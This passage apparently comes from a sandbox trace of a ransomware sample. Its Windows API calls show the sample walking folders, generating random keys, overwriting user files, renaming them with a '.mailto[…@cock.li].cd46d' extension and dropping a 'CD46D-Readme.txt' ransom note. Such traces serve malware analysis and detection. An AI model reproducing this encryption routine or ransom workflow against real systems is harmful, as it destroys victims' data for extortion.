(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0156.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", dwFileAttributes=0x20) returned 0 [0156.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.472] GetLastError () returned 0x5 [0156.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", dwFileAttributes=0x20) returned 0 [0156.472] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f83c8) returned 1 Thread: id = 3688 os_tid = 0xd9c [0154.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0156.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", dwFileAttributes=0x20) returned 0 [0156.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.446] GetLastError () returned 0x5 [0156.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", dwFileAttributes=0x20) returned 0 [0156.446] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8bc0) returned 1 Thread: id = 3689 os_tid = 0xda0 [0154.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0156.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", dwFileAttributes=0x20) returned 0 [0156.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.445] GetLastError () returned 0x5 [0156.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", dwFileAttributes=0x20) returned 0 [0156.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 3690 os_tid = 0xda4 [0154.839] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst")) returned 0x20 [0154.839] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x20) returned 1 [0154.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1984 [0154.840] GetFileSizeEx (in: hFile=0x1984, lpFileSize=0x471f93c | out: lpFileSize=0x471f93c*=1180) returned 1 [0154.840] SetFilePointerEx (in: hFile=0x1984, liDistanceToMove=0x498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.840] ReadFile (in: hFile=0x1984, lpBuffer=0x471f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x471f8bc, lpOverlapped=0x0 | out: lpBuffer=0x471f8c0*, lpNumberOfBytesRead=0x471f8bc*=0x4, lpOverlapped=0x0) returned 1 [0154.841] SetFilePointerEx (in: hFile=0x1984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9968 [0154.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98c8 [0154.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9af8 [0154.841] NtQuerySystemTime (in: CurrentTime=0x471f89c | out: CurrentTime=0x471f89c*=132174899294470000) returned 0x0 [0154.841] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x204cfdfe [0154.841] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x4cc84207 [0154.841] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x19eb5b3b [0154.841] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x7c8e696c [0154.841] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x72bff131 [0154.841] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x16c606f4 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x2d73959a [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x38d529f1 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x74f3ed8 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x6937811e [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x7e274f71 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x32d5ad7a [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x6495b57 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x7205ccd7 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x2d90250a [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x1c09d1d4 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x15de6de4 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x6c670b94 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x6c27abaf [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x2e8f8893 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x78487dde [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x3b37e6a8 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x3b7eea95 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x3f6737a9 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x22baa70d [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x19eb5b3b [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x77e79384 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x435294ea [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x31bc6995 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x6495b57 [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x4839d9ab [0154.842] RtlRandomEx (in: Seed=0x471f8a8 | out: Seed=0x471f8a8) returned 0x41dabe4c [0154.854] ReadFile (in: hFile=0x1984, lpBuffer=0xd4a0850, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x471f898, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesRead=0x471f898*=0x49c, lpOverlapped=0x0) returned 1 [0154.854] SetFilePointerEx (in: hFile=0x1984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.854] WriteFile (in: hFile=0x1984, lpBuffer=0xd4cc068*, nNumberOfBytesToWrite=0x49c, lpNumberOfBytesWritten=0x471f894, lpOverlapped=0x0 | out: lpBuffer=0xd4cc068*, lpNumberOfBytesWritten=0x471f894*=0x49c, lpOverlapped=0x0) returned 1 [0154.856] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9968 [0154.856] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9af8 [0154.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9af8) returned 1 [0154.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4cc068) returned 1 [0154.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0154.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9726e0) returned 1 [0154.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0154.856] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x29) returned 0x8da7f8 [0154.857] SetFilePointerEx (in: hFile=0x1984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.857] WriteFile (in: hFile=0x1984, lpBuffer=0x8f6488*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x471f8fc, lpOverlapped=0x0 | out: lpBuffer=0x8f6488*, lpNumberOfBytesWritten=0x471f8fc*=0x10d, lpOverlapped=0x0) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa28) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9af8) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9968) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98c8) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b70) returned 1 [0154.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9918) returned 1 [0154.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd6) returned 0x93ccc8 [0154.858] wcscpy (in: _Dest=0x93ccc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" [0154.858] wcscat (in: _Dest=0x93ccc8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.mailto[2Hamlampampom@cock.li].cd46d" [0154.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x471f8b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0154.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xec) returned 0x8f6488 [0154.861] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0154.861] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96bb38) returned 1 [0154.861] NtQueryInformationFile (in: FileHandle=0x1984, IoStatusBlock=0x471f8c0, FileInformation=0x471f898, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x471f8c0, FileInformation=0x471f898) returned 0x0 [0154.862] NtSetInformationFile (FileHandle=0x1984, IoStatusBlock=0x471f8c0, FileInformation=0x471f898, Length=0x28, FileInformationClass=0x4) returned 0x0 [0154.863] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ccc8) returned 1 [0154.863] FlushFileBuffers (hFile=0x1984) returned 1 [0154.864] CloseHandle (hObject=0x1984) returned 1 [0154.865] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad7a8 [0154.865] wcscpy (in: _Dest=0x9ad7a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0154.865] wcscat (in: _Dest=0x9ad7a8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\CD46D-Readme.txt" [0154.865] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\cd46d-readme.txt")) returned 0xffffffff [0154.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1984 [0154.865] WriteFile (in: hFile=0x1984, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x471f8bc, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x471f8bc*=0x6fd, lpOverlapped=0x0) returned 1 [0154.867] CloseHandle (hObject=0x1984) returned 1 [0154.867] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad7a8) returned 1 [0154.867] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abbe0) returned 1 Thread: id = 3691 os_tid = 0xda8 [0154.868] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e77a8 [0154.868] wcscpy (in: _Dest=0x8e77a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0154.868] wcscat (in: _Dest=0x8e77a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0154.868] wcscat (in: _Dest=0x8e77a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*" [0154.868] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x968ac0 [0154.868] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x968ac0 | out: lpFindFileData=0x968ac0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0155.108] wcscmp (_String1=".", _String2=".") returned 0 [0155.108] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x968ac0 | out: lpFindFileData=0x968ac0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.108] wcscmp (_String1="..", _String2=".") returned 1 [0155.108] wcscmp (_String1="..", _String2="..") returned 0 [0155.108] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x968ac0 | out: lpFindFileData=0x968ac0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0155.108] wcscmp (_String1="wscRGB.icc", _String2=".") returned 1 [0155.108] wcscmp (_String1="wscRGB.icc", _String2="..") returned 1 [0155.108] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9adca8 [0155.108] wcscpy (in: _Dest=0x9adca8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0155.108] wcscat (in: _Dest=0x9adca8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0155.108] wcscat (in: _Dest=0x9adca8, _Source="wscRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" [0155.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9adca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ac [0155.646] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x968ac0 | out: lpFindFileData=0x968ac0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0155.646] wcscmp (_String1="wsRGB.icc", _String2=".") returned 1 [0155.646] wcscmp (_String1="wsRGB.icc", _String2="..") returned 1 [0155.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0x9acda8 [0155.647] wcscpy (in: _Dest=0x9acda8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0155.647] wcscat (in: _Dest=0x9acda8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0155.647] wcscat (in: _Dest=0x9acda8, _Source="wsRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" [0155.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9acda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194 [0155.648] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x968ac0 | out: lpFindFileData=0x968ac0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0155.648] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0155.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x968ac0) returned 1 [0155.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e77a8) returned 1 [0155.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7958) returned 1 Thread: id = 3692 os_tid = 0xdac [0154.872] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll")) returned 0x2020 [0154.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.872] GetLastError () returned 0x5 [0154.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.872] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ada28) returned 1 Thread: id = 3693 os_tid = 0xdb0 [0154.881] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll")) returned 0x2020 [0154.881] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.881] GetLastError () returned 0x5 [0154.881] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.881] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad528) returned 1 Thread: id = 3694 os_tid = 0xdb4 [0154.889] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll")) returned 0x2020 [0154.889] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.889] GetLastError () returned 0x5 [0154.889] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.889] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae608) returned 1 Thread: id = 3695 os_tid = 0xdb8 [0154.890] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll")) returned 0x2020 [0154.890] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.890] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.890] GetLastError () returned 0x5 [0154.890] SetFileAttributesW 